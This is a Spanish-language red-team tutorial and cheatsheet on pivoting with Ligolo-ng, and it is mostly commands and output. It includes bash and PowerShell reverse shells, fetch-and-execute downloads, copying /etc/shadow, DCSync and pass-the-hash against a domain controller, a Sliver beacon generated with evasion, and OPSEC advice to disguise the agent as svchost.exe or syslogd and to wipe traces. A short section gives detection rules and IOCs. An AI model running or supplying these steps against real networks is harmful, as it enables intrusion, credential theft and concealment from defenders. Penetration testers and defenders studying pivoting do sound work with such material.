Pivoting y Túneles Avanzados
Ligolo-ng es una herramienta de pivoting escrita en Go que crea interfaces de red TUN virtuales en la máquina atacante. En lugar de redirigir puertos uno a uno o usar un proxy SOCKS lento, Ligolo-ng hace que la red interna de la víctima sea alcanzable directamente, como si estuvieras conectado a ella.
El problema del Pivoting clásico
En un pentest real, tras comprometer una máquina en la DMZ, el siguiente objetivo está en una red interna que solo es alcanzable desde el pivote. Las herramientas clásicas tienen limitaciones severas: proxychains solo funciona con herramientas que soporten SOCKS, es lento y rompe muchas herramientas. Chisel requiere configurar port-forwarding por cada puerto. Ligolo-ng lo cambia todo: añade una ruta de red real en tu máquina atacante.
¿Qué es una interfaz TUN?
TUN (Network TUNnel) es una interfaz de red virtual del kernel Linux. Ligolo-ng crea una interfaz ligolo en tu máquina atacante y la conecta al pivote mediante un túnel TLS. Todo el tráfico que entra por esa interfaz viaja cifrado hasta el agente en el servidor comprometido, que lo reenvía a la red interna.
eth0: 10.10.14.5
ligolo: 240.0.0.1
ligolo proxy
eth0: 10.10.14.20
eth1: 172.16.0.10
172.16.0.0/24
Web Server
CORP-DC01
Comparativa técnica de las tres herramientas de pivoting más usadas en Red Team. La elección depende del entorno, pero Ligolo-ng supera a las alternativas en casi todos los escenarios.
Comparativa de Velocidad
# Nmap -sV de 254 hosts a través de cada método Ligolo-ng (TUN): ~45 segundos nmap -sV 172.16.0.0/24 → funciona directamente, velocidad nativa Chisel + proxychains: ~18 minutos proxychains nmap -sT -Pn 172.16.0.0/24 → TCP connect, lento SSH SOCKS + proxychains: ~25+ minutos proxychains nmap -sT -Pn 172.16.0.0/24 → un hilo, muy lento
Ligolo-ng tiene dos componentes: el proxy (corre en la máquina atacante) y el agente (corre en el servidor comprometido). El proxy gestiona la interfaz TUN; el agente actúa como gateway hacia la red interna.
Componentes
| Componente | Dónde corre | Función | Binario |
|---|---|---|---|
ligolo-proxy | Máquina atacante (Kali) | Crea y gestiona la interfaz TUN. Escucha conexiones de agentes. Interfaz de control interactiva. | proxy (linux/win/mac) |
ligolo-agent | Servidor pivote (víctima) | Se conecta al proxy. Reenvía tráfico entre el túnel TLS y la red interna. Sin interfaz interactiva. | agent (linux/win/mac) |
Flujo de Tráfico
ligolo-proxy levanta la interfaz TUN ligolo y abre el puerto 11601 para recibir conexiones de agentes mediante TLS mutuo.ligolo-agent ejecutado en el pivote conecta al proxy por TLS. El proxy muestra la sesión disponible en su interfaz interactiva.session para seleccionar el agente, luego start para activar el túnel. La interfaz TUN queda operativa.ip route add 172.16.0.0/24 dev ligolo, el tráfico hacia la red interna fluye a través del túnel. Cualquier herramienta puede alcanzar esos hosts.nmap, impacket, evil-winrm, curl, ssh — todo funciona directamente hacia 172.16.0.0/24 sin proxychains ni configuración adicional.Ligolo-ng distribuye binarios precompilados para todas las plataformas. No hay dependencias externas. El agente puede cross-compilarse para Windows/Linux/macOS desde Kali.
# Descargar última release desde GitHub wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_Linux_64bit.tar.gz wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_Linux_64bit.tar.gz wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_Windows_64bit.zip # Extraer tar -xzf ligolo-ng_proxy_Linux_64bit.tar.gz tar -xzf ligolo-ng_agent_Linux_64bit.tar.gz unzip ligolo-ng_agent_Windows_64bit.zip # Mover proxy a directorio de herramientas sudo mv proxy /usr/local/bin/ligolo-proxy && chmod +x /usr/local/bin/ligolo-proxy # Crear la interfaz TUN (requerido antes del primer uso) sudo ip tuntap add user $USER mode tun ligolo sudo ip link set ligolo up ip link show ligolo 5: ligolo: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN # Alternativamente: script de setup rápido cat > /usr/local/bin/ligolo-setup << 'EOF' #!/bin/bash ip tuntap add user $(logname) mode tun ligolo 2>/dev/null || true ip link set ligolo up echo "[+] Interfaz ligolo lista" ip link show ligolo EOF chmod +x /usr/local/bin/ligolo-setup && sudo ligolo-setup # Compilar desde fuente (para plataformas específicas) git clone https://github.com/nicocha30/ligolo-ng.git && cd ligolo-ng go build -o proxy cmd/proxy/main.go # proxy Linux GOOS=windows go build -o agent.exe cmd/agent/main.go # agente Windows GOOS=linux GOARCH=arm go build -o agent_arm cmd/agent/main.go # ARM
El proxy es el componente central que corre en tu máquina Kali. Gestiona las conexiones de los agentes y ofrece una interfaz de control interactiva tipo consola.
# Modo básico — escucha en 0.0.0.0:11601 sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601 # Flags importantes -selfcert → genera certificado TLS autofirmado (válido para labs) -laddr ADDR → dirección y puerto de escucha del proxy -certfile FILE → certificado TLS propio (operaciones reales) -keyfile FILE → clave privada del certificado TLS propio -v → verbose: muestra tráfico del túnel # Con certificado real (más sigiloso en producción) sudo ligolo-proxy -certfile /etc/letsencrypt/live/c2.domain.com/fullchain.pem \ -keyfile /etc/letsencrypt/live/c2.domain.com/privkey.pem \ -laddr 0.0.0.0:443
El agente se ejecuta en el servidor comprometido. Es un binario standalone sin dependencias. Se conecta al proxy del atacante y espera instrucciones de reenvío.
## Linux — subir y ejecutar el agente # Desde la shell del pivote: descargar el agente wget http://10.10.14.5:8080/agent -O /tmp/agent && chmod +x /tmp/agent # O via curl curl -o /tmp/agent http://10.10.14.5:8080/agent && chmod +x /tmp/agent # Ejecutar el agente (conecta al proxy atacante) /tmp/agent -connect 10.10.14.5:11601 -ignore-cert # Flags del agente -connect ADDR → IP:puerto del proxy (atacante) -ignore-cert → ignorar validación de cert TLS (con -selfcert) -v → verbose ## Windows — ejecutar el agente (.exe) # Subir agent.exe via certutil o powershell (LOLBAS) certutil -urlcache -f http://10.10.14.5:8080/agent.exe C:\Temp\agent.exe C:\Temp\agent.exe -connect 10.10.14.5:11601 -ignore-cert ## Ejecutar en background (no bloquear la shell) /tmp/agent -connect 10.10.14.5:11601 -ignore-cert & disown %1 # desasociar del terminal ## Via sesión de Sliver/meterpreter (ejecutar sin shell interactiva) # Desde sesión Sliver activa en el pivote: upload /home/kali/agent /tmp/agent execute -s /tmp/agent -connect 10.10.14.5:11601 -ignore-cert
Con el agente conectado, desde la consola del proxy se activa el túnel. Este es el paso que convierte Ligolo-ng en una VPN de facto hacia la red interna.
Con el túnel activo, solo falta añadir las rutas de red para que el tráfico hacia las subredes internas fluya por la interfaz ligolo. Esto se hace con comandos ip estándar de Linux.
# Añadir ruta hacia la red interna del pivote sudo ip route add 172.16.0.0/24 dev ligolo # Verificar que la ruta está activa ip route | grep ligolo 172.16.0.0/24 dev ligolo scope link # Probar conectividad a un host interno ping -c 3 172.16.0.5 PING 172.16.0.5: 56 data bytes 64 bytes from 172.16.0.5: icmp_seq=0 ttl=127 time=12.3 ms 64 bytes from 172.16.0.5: icmp_seq=1 ttl=127 time=11.8 ms # Múltiples subredes (si el agente tiene más interfaces) sudo ip route add 192.168.50.0/24 dev ligolo # segunda red interna sudo ip route add 10.20.0.0/16 dev ligolo # rango grande # Eliminar rutas cuando ya no se necesiten sudo ip route del 172.16.0.0/24 dev ligolo
Tabla de Rutas en Acción
Los listeners de Ligolo-ng resuelven un problema crítico: ¿cómo recibir una reverse shell desde la red interna si no hay conectividad directa? El listener escucha en el agente (pivote) y reenvía al atacante.
## PASO 1: Crear listener en el agente (desde la consola proxy) # El agente (172.16.0.10) escuchará en :4444 y reenviará al atacante :4444 ligolo-ng (CORP-DMZ01) » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp ## PASO 2: Atacante escucha con netcat nc -lvnp 4444 ## PASO 3: Ejecutar reverse shell en el target interno # El target interno (172.16.0.20) conecta al pivote (172.16.0.10:4444) # que reenvía automáticamente al atacante (127.0.0.1:4444) bash -i >& /dev/tcp/172.16.0.10/4444 0>&1 ## Resultado: atacante recibe la shell del target interno nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 172.16.0.20 www-data@INTERNAL-WEB01:/var/www$ ## Listener para múltiples puertos ligolo-ng (CORP-DMZ01) » listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp ligolo-ng (CORP-DMZ01) » listener_add --addr 0.0.0.0:443 --to 127.0.0.1:443 --tcp ligolo-ng (CORP-DMZ01) » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080 --tcp
El doble pivoting encadena dos saltos de red: atacante → pivote 1 (DMZ) → pivote 2 (red interna) → red aislada. Ligolo-ng lo soporta de forma nativa añadiendo un segundo agente que se conecta a través del primer túnel.
TLS
10.10.14.20
172.16.0.10
por Túnel 1
172.16.0.20
192.168.100.5
directo
Seg. Aislado
## FASE 1: Primer túnel (Atacante → Pivote 1) # Ya configurado: interfaz ligolo con ruta 172.16.0.0/24 ## FASE 2: Subir el agente al Pivote 2 (desde el pivote 1 o directamente) # El pivote 2 (172.16.0.20) está ahora alcanzable desde el atacante scp agent root@172.16.0.20:/tmp/agent ssh root@172.16.0.20 "chmod +x /tmp/agent && /tmp/agent -connect 10.10.14.5:11601 -ignore-cert &" ## FASE 3: En el proxy, seleccionar el segundo agente ligolo-ng » session ID Name Remote Interfaces ---- ---------------- --------------- ---------- 1 CORP-DMZ01 10.10.14.20:55234 eth0:10.10.14.20 eth1:172.16.0.10 2 INTERNAL-SERVER 172.16.0.20:44521 eth0:172.16.0.20 eth1:192.168.100.5 ligolo-ng » session 2 ligolo-ng (INTERNAL-SERVER) » start ## FASE 4: Añadir ruta hacia el segmento aislado sudo ip route add 192.168.100.0/24 dev ligolo ## FASE 5: Verificar acceso al segmento aislado ping -c 2 192.168.100.10 64 bytes from 192.168.100.10: icmp_seq=0 ttl=126 time=18.4 ms # Ahora el atacante puede alcanzar 192.168.100.0/24 directamente # a través de dos saltos de túnel completamente transparentes
Una vez activo el túnel, todas las herramientas de red funcionan directamente sobre la red interna sin ninguna configuración adicional. No hay proxychains. No hay wrapping.
## NMAP — funciona directamente, sin proxychains # Descubrimiento de hosts en red interna nmap -sn 172.16.0.0/24 Nmap scan report for 172.16.0.5 — Host is up (0.012s latency) Nmap scan report for 172.16.0.20 — Host is up (0.015s latency) Nmap scan report for 172.16.0.50 — Host is up (0.009s latency) # Escaneo de servicios completo nmap -sV -sC -p- 172.16.0.5 -oN internal_dc.txt # Escaneo UDP (imposible con proxychains/SOCKS) sudo nmap -sU -p 53,161,389 172.16.0.5 ## NETEXEC / CRACKMAPEXEC — AD reconnaissance nxc smb 172.16.0.0/24 SMB 172.16.0.5 445 CORP-DC01 [*] Windows 10.0 Build 17763 (name:CORP-DC01) (domain:CORP.LOCAL) SMB 172.16.0.20 445 WEB01 [*] Windows 10.0 Build 19041 (name:WEB01) (domain:CORP.LOCAL) nxc smb 172.16.0.5 -u Administrator -p 'P@ssw0rd' --shares nxc winrm 172.16.0.20 -u john -p 'Welcome1' -x "whoami" ## EVIL-WINRM — shell en Windows sin proxychains evil-winrm -i 172.16.0.20 -u Administrator -p 'P@ssw0rd' Evil-WinRM shell v3.5 *Evil-WinRM* PS C:\Users\Administrator\Documents> ## IMPACKET — suite completa sin configuración adicional impacket-secretsdump CORP/Administrator:'P@ssw0rd'@172.16.0.5 impacket-psexec CORP/Administrator:'P@ssw0rd'@172.16.0.20 impacket-smbclient //172.16.0.5/SYSVOL -U 'CORP/Administrator%P@ssw0rd' ## CURL / Web requests a servicios internos curl -v http://172.16.0.20/ curl -k https://172.16.0.30:8443/api/v1/users ## SSH a servidores Linux internos ssh user@172.16.0.50 ## RDP — Remote Desktop a Windows internos xfreerdp /v:172.16.0.20 /u:Administrator /p:'P@ssw0rd' /cert-ignore
Recibir reverse shells desde la red interna y desplegar implantes C2 a través del túnel Ligolo-ng. Dos escenarios: forward shell (el host interno puede alcanzar al atacante) y reverse vía listener.
## ESCENARIO 1: Host interno puede alcanzar al atacante vía túnel # El túnel es bidireccional: el host interno puede "ver" al atacante # si añadimos una ruta especial: 240.0.0.1 es la IP del atacante en el túnel # Nota: Ligolo asigna 240.0.0.1 como IP del atacante accesible desde el agente # Los hosts internos alcanzan al atacante via 240.0.0.1 (ruta por defecto del túnel) # Listener en atacante nc -lvnp 9001 # Reverse shell desde host interno → conecta a 240.0.0.1:9001 (atacante) bash -i >& /dev/tcp/240.0.0.1/9001 0>&1 powershell -c "$c=New-Object Net.Sockets.TCPClient('240.0.0.1',9001);..." ## ESCENARIO 2: Listener reverso (host interno NO puede alcanzar al atacante) ligolo-ng (CORP-DMZ01) » listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp # El host interno conecta al pivote (172.16.0.10:9001) # El pivote reenvía al atacante (127.0.0.1:9001) bash -i >& /dev/tcp/172.16.0.10/9001 0>&1 ## DESPLEGAR SLIVER C2 por el túnel # Generar implante apuntando a 240.0.0.1 (IP atacante en el túnel) sliver > https --lhost 0.0.0.0 --lport 443 sliver > generate beacon --https 240.0.0.1:443 --os windows --evasion --save /tmp/ # El implante en la red interna conecta a 240.0.0.1:443 → atacante recibe la sesión ## METASPLOIT handler para shells de la red interna msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 240.0.0.1; set LPORT 4444; run" # El meterpreter del host interno conecta a 240.0.0.1:4444
Con el túnel activo, transferir archivos hacia y desde la red interna es trivial. Cualquier método de transferencia funciona directamente.
## Desde el atacante: servir archivos python3 -m http.server 8080 -d /tmp/tools/ # Accesible desde la red interna via http://240.0.0.1:8080/ ## DESDE host interno → descargar herramientas del atacante # Linux (el host puede resolver 240.0.0.1) wget http://240.0.0.1:8080/linpeas.sh -O /tmp/linpeas.sh && bash /tmp/linpeas.sh curl -o /tmp/agent http://240.0.0.1:8080/agent && chmod +x /tmp/agent # Windows — certutil (LOLBAS) certutil -urlcache -f http://240.0.0.1:8080/winpeas.exe C:\Temp\winpeas.exe powershell -c "Invoke-WebRequest http://240.0.0.1:8080/nc64.exe -OutFile C:\Temp\nc64.exe" ## SCP — transferencia segura scp linpeas.sh user@172.16.0.50:/tmp/linpeas.sh scp user@172.16.0.50:/etc/shadow /tmp/shadow_internal ## SMB share desde Kali accesible en la red interna sudo impacket-smbserver share /tmp/tools -smb2support # Desde Windows interno: copy \\240.0.0.1\share\mimikatz.exe C:\Temp\m.exe net use Z: \\240.0.0.1\share # montar como unidad de red
Setup completo de Ligolo-ng desde cero: configurar el entorno Docker, establecer el túnel y realizar reconocimiento de la red interna simulada.
Simular una red segmentada con Docker: red externa (172.20.0.0/24) accesible desde Kali, y red interna (172.30.0.0/24) solo accesible desde el pivote. Objetivo: alcanzar la red interna desde Kali.
# Crear redes Docker docker network create --subnet=172.20.0.0/24 external-net docker network create --subnet=172.30.0.0/24 internal-net # Servidor pivote (tiene acceso a ambas redes) docker run -d --name pivot \ --network external-net --ip 172.20.0.10 \ ubuntu:22.04 sleep infinity docker network connect --ip 172.30.0.10 internal-net pivot # Servidor interno (solo red interna) docker run -d --name internal-target \ --network internal-net --ip 172.30.0.20 \ nginx:alpine # Verificar: desde Kali NO puedes alcanzar 172.30.0.20 todavía ping -c 1 172.30.0.20 ping: connect: Network is unreachable ← correcto, aún no hay túnel # Servir el agente desde Kali python3 -m http.server 8080 & # Copiar y ejecutar el agente en el pivote docker exec pivot bash -c "apt-get install -y wget 2>/dev/null; wget -q http://172.20.0.1:8080/agent -O /agent && chmod +x /agent && /agent -connect 172.20.0.1:11601 -ignore-cert &"
# Añadir ruta hacia la red interna sudo ip route add 172.30.0.0/24 dev ligolo # Ahora desde Kali puedes alcanzar la red interna ping -c 2 172.30.0.20 64 bytes from 172.30.0.20: icmp_seq=0 ttl=63 time=0.8 ms # Acceder al nginx interno directamente curl http://172.30.0.20/ <html><body><h1>Welcome to nginx!</h1></body></html> # Escanear la red interna con nmap nmap -sV -p 80,443,22,3306 172.30.0.0/24 172.30.0.20: 80/tcp open http nginx Alpine Linux
Escenario completo de pentest: servidor web comprometido en la DMZ, red interna con DC y workstations. Usar Ligolo-ng para acceder al dominio AD directamente.
Entorno: Kali → Web Server (DMZ, comprometido) → DC CORP-DC01 (172.16.0.5) + Workstation (172.16.0.20). Objetivo: dominar el dominio desde Kali sin proxychains.
## FASE 1: Establecer el túnel # (Agente ya ejecutado en el pivote, túnel activo) sudo ip route add 172.16.0.0/24 dev ligolo ## FASE 2: Reconocimiento del dominio AD desde Kali (directo) # Enumerar el DC nmap -p 53,88,135,389,445,636,3268 172.16.0.5 53/tcp open domain (DNS del DC) 88/tcp open kerberos-sec 389/tcp open ldap 445/tcp open microsoft-ds ← Es el Domain Controller # Reconocimiento LDAP ldapsearch -x -H ldap://172.16.0.5 -b "DC=CORP,DC=LOCAL" "(objectClass=user)" sAMAccountName nxc ldap 172.16.0.0/24 -u '' -p '' --users ## FASE 3: Bloodhound recolección de datos AD bloodhound-python -u john -p 'Password123' -d CORP.LOCAL -ns 172.16.0.5 -c All [*] Connecting to LDAP server: CORP-DC01.CORP.LOCAL [*] Found 42 users, 12 groups, 8 computers... ## FASE 4: Password spraying (si tenemos lista de usuarios) nxc smb 172.16.0.0/24 -u users.txt -p 'Welcome2024!' --continue-on-success SMB 172.16.0.20 john.doe : Welcome2024! (Pwn3d!) ## FASE 5: Movimiento lateral — WinRM evil-winrm -i 172.16.0.20 -u john.doe -p 'Welcome2024!' Evil-WinRM shell *Evil-WinRM* PS C:\Users\john.doe> whoami corp\john.doe ## FASE 6: DCSync con credenciales de Domain Admin impacket-secretsdump 'CORP/Administrator:P@ssw0rd'@172.16.0.5 -just-dc-ntlm Administrator:500:aad3b435...:a93f267...::: ← NTLM hash del Admin ## FASE 7: Pass-the-Hash al DC evil-winrm -i 172.16.0.5 -u Administrator -H a93f267... *Evil-WinRM* PS C:\Users\Administrator> whoami corp\administrator ← Domain Admin en el DC
El laboratorio más avanzado: encadenar dos túneles para alcanzar un segmento completamente aislado que solo es accesible desde la red interna.
Tres redes encadenadas. El segmento 192.168.100.0/24 solo es accesible desde 172.16.0.0/24. Se necesitan dos agentes y dos rutas en la interfaz ligolo.
## PASO 1: Primer túnel ya activo (ruta 172.16.0.0/24 via ligolo) ## PASO 2: Comprometer un host en la red interna (172.16.0.20) # Via evil-winrm, SSH, o exploit web evil-winrm -i 172.16.0.20 -u Administrator -p 'P@ssw0rd' ## PASO 3: Subir el agente al segundo pivote (172.16.0.20) curl http://240.0.0.1:8080/agent.exe -o C:\Temp\agent.exe Start-Process C:\Temp\agent.exe -ArgumentList "-connect 10.10.14.5:11601 -ignore-cert" -WindowStyle Hidden ## PASO 4: En la consola del proxy — seleccionar el segundo agente ligolo-ng » session 1 DMZ-SERVER 10.10.14.20 eth0:10.10.14.20 eth1:172.16.0.10 2 INTERNAL-WIN01 172.16.0.20 eth0:172.16.0.20 eth1:192.168.100.5 ligolo-ng » session 2 ligolo-ng (INTERNAL-WIN01) » ifconfig eth0 — 172.16.0.20/24 eth1 — 192.168.100.5/24 ← segmento aislado! ligolo-ng (INTERNAL-WIN01) » start INFO: Tunnel activated (session 2) ## PASO 5: Añadir ruta al segmento aislado en Kali sudo ip route add 192.168.100.0/24 dev ligolo ## PASO 6: Verificar — atacante alcanza el segmento aislado ping -c 2 192.168.100.10 64 bytes from 192.168.100.10: icmp_seq=0 ttl=125 time=22.1 ms nmap -sV -p 22,80,3306 192.168.100.0/24 192.168.100.10: 22/tcp ssh, 3306/tcp mysql 192.168.100.20: 80/tcp http Apache # El atacante ahora tiene acceso directo al segmento más profundo # a través de dos capas de túnel completamente transparentes
Ligolo-ng es sigiloso por diseño, pero hay prácticas operacionales que marcan la diferencia entre ser detectado en 5 minutos o permanecer semanas sin levantar alertas.
## 1. Nombre y ubicación del agente # MAL: /tmp/ligolo-agent → nombre muy sospechoso cp agent /tmp/svchost.exe # Windows: imitar proceso legítimo cp agent /usr/sbin/syslogd # Linux: imitar demonio del sistema cp agent /opt/microsoft/update # ubicación con sentido ## 2. Puerto de escucha del proxy # MAL: 11601 (puerto por defecto de Ligolo, puede estar en reglas IDS) # BIEN: puertos que parecen tráfico legítimo sudo ligolo-proxy -selfcert -laddr 0.0.0.0:443 # HTTPS sudo ligolo-proxy -selfcert -laddr 0.0.0.0:8443 # HTTPS alternativo sudo ligolo-proxy -selfcert -laddr 0.0.0.0:8080 # HTTP alternativo ## 3. Certificado TLS legítimo (no selfcert) # Con un dominio y cert LetsEncrypt el tráfico TLS es indistinguible sudo ligolo-proxy -certfile /etc/letsencrypt/live/update.corp-cdn.com/fullchain.pem \ -keyfile /etc/letsencrypt/live/update.corp-cdn.com/privkey.pem \ -laddr 0.0.0.0:443 ## 4. No dejar el agente corriendo indefinidamente # Usar un script que lo ejecute solo durante la ventana de ataque at 09:00 -f /tmp/start_tunnel.sh # iniciar al empezar jornada laboral at 17:00 -f /tmp/stop_tunnel.sh # detener al final ## 5. Limpiar artefactos al finalizar sudo ip route del 172.16.0.0/24 dev ligolo sudo ip link delete ligolo rm -f /tmp/agent /opt/ligolo/agent # limpiar binarios ## 6. El agente no necesita privilegios root en el pivote # Corre perfectamente como usuario sin privilegios ./agent -connect ATACANTE:443 -ignore-cert # como www-data, postgres, etc.
Cómo detectar el uso de Ligolo-ng y técnicas de pivoting desde la perspectiva defensora. Reglas Sigma, IOCs de red y comportamientos anómalos.
## IOCs DE RED # Puerto por defecto de Ligolo-ng (11601) en logs de firewall grep ":11601" /var/log/ufw.log tcpdump -i eth0 port 11601 # Conexiones TLS salientes a IPs no habituales desde servidores # Un servidor web que abre conexiones TLS salientes es muy sospechoso zeek -i eth0 -e 'event ssl_client_hello(...)' | grep outbound # Tráfico inusual desde DMZ hacia Internet en puertos HTTPS Alerta: servidor DMZ (172.16.0.10) → IP externa:443 con tráfico continuo ## DETECCIÓN EN ENDPOINT # Proceso sospechoso abriendo conexión de red saliente persistente # en Linux: buscar procesos con conexiones TLS persistentes ss -tlnp | grep ESTABLISHED lsof -i TCP -s TCP:ESTABLISHED | grep -v "sshd\|httpd\|mysql" # En Windows: buscar proceso desconocido con conexión saliente netstat -b -p tcp | findstr ESTABLISHED Get-NetTCPConnection -State Established | Where-Object {$_.LocalPort -gt 1024} | Select-Object OwningProcess,LocalPort,RemotePort,RemoteAddress ## REGLA SIGMA title: Ligolo-ng Agent Network Connection detection: selection: EventID: 3 # Sysmon Network Connection DestinationPort|contains: - '11601' condition: selection level: high ## DETECCIÓN DE PIVOTING GENERAL # Hosts internos contactando a IPs que no deberían (indicador de pivote) Alerta: host 172.16.0.20 contacta 10.10.14.5 (IP externa) — ¿port 443? # Tráfico lateral inusual entre hosts que normalmente no se hablan zeek: conn.log | where id.orig_h==172.16.0.20 AND id.resp_h IN (10.10.0.0/8)
Cheatsheet completo de Ligolo-ng para operaciones de pivoting en Red Team.
Setup Inicial (siempre lo mismo)
- Crear interfaz TUN:
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up - Arrancar proxy:
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601 - Servir el agente:
python3 -m http.server 8080 - Ejecutar agente en pivote:
./agent -connect KALI_IP:11601 -ignore-cert & - Seleccionar sesión:
session→session N - Activar túnel:
start - Añadir ruta:
sudo ip route add SUBRED/MASK dev ligolo - Verificar:
ping 172.16.0.1
Consola del Proxy — Comandos
session— listar y seleccionar agentesifconfig— ver interfaces del agente activostart— activar el túnel con el agente seleccionadostop— detener el túnellistener_add --addr 0.0.0.0:PORT --to 127.0.0.1:PORT --tcplistener_list— ver listeners activoslistener_stop ID— detener listener
Herramientas que Funcionan Directamente
nmap— incluyendo -sU UDP y -sV sin proxychainsnxc / crackmapexec— SMB, LDAP, WinRM sin configuraciónevil-winrm— shells Windows directasimpacket— secretsdump, psexec, smbclient, etc.bloodhound-python— recolección ADcurl / wget— acceso a servicios web internosssh / scp— servidores Linux internosxfreerdp / rdesktop— RDP a WindowsSliver / Metasploit— C2 con implantes conectando a 240.0.0.1
Limpieza Post-Operación
- Eliminar rutas:
sudo ip route del SUBRED dev ligolo - Detener túnel en consola:
tunnel_stop - Matar agente en pivote:
kill PID/Stop-Process - Eliminar binario del agente del pivote
- Eliminar interfaz TUN:
sudo ip link delete ligolo - Revisar logs del pivote y limpiar rastros
Referencias
- GitHub: github.com/nicocha30/ligolo-ng
- Wiki oficial: github.com/nicocha30/ligolo-ng/wiki
- MITRE T1090: Proxy — attack.mitre.org/techniques/T1090
- MITRE T1572: Protocol Tunneling
- Releases: github.com/nicocha30/ligolo-ng/releases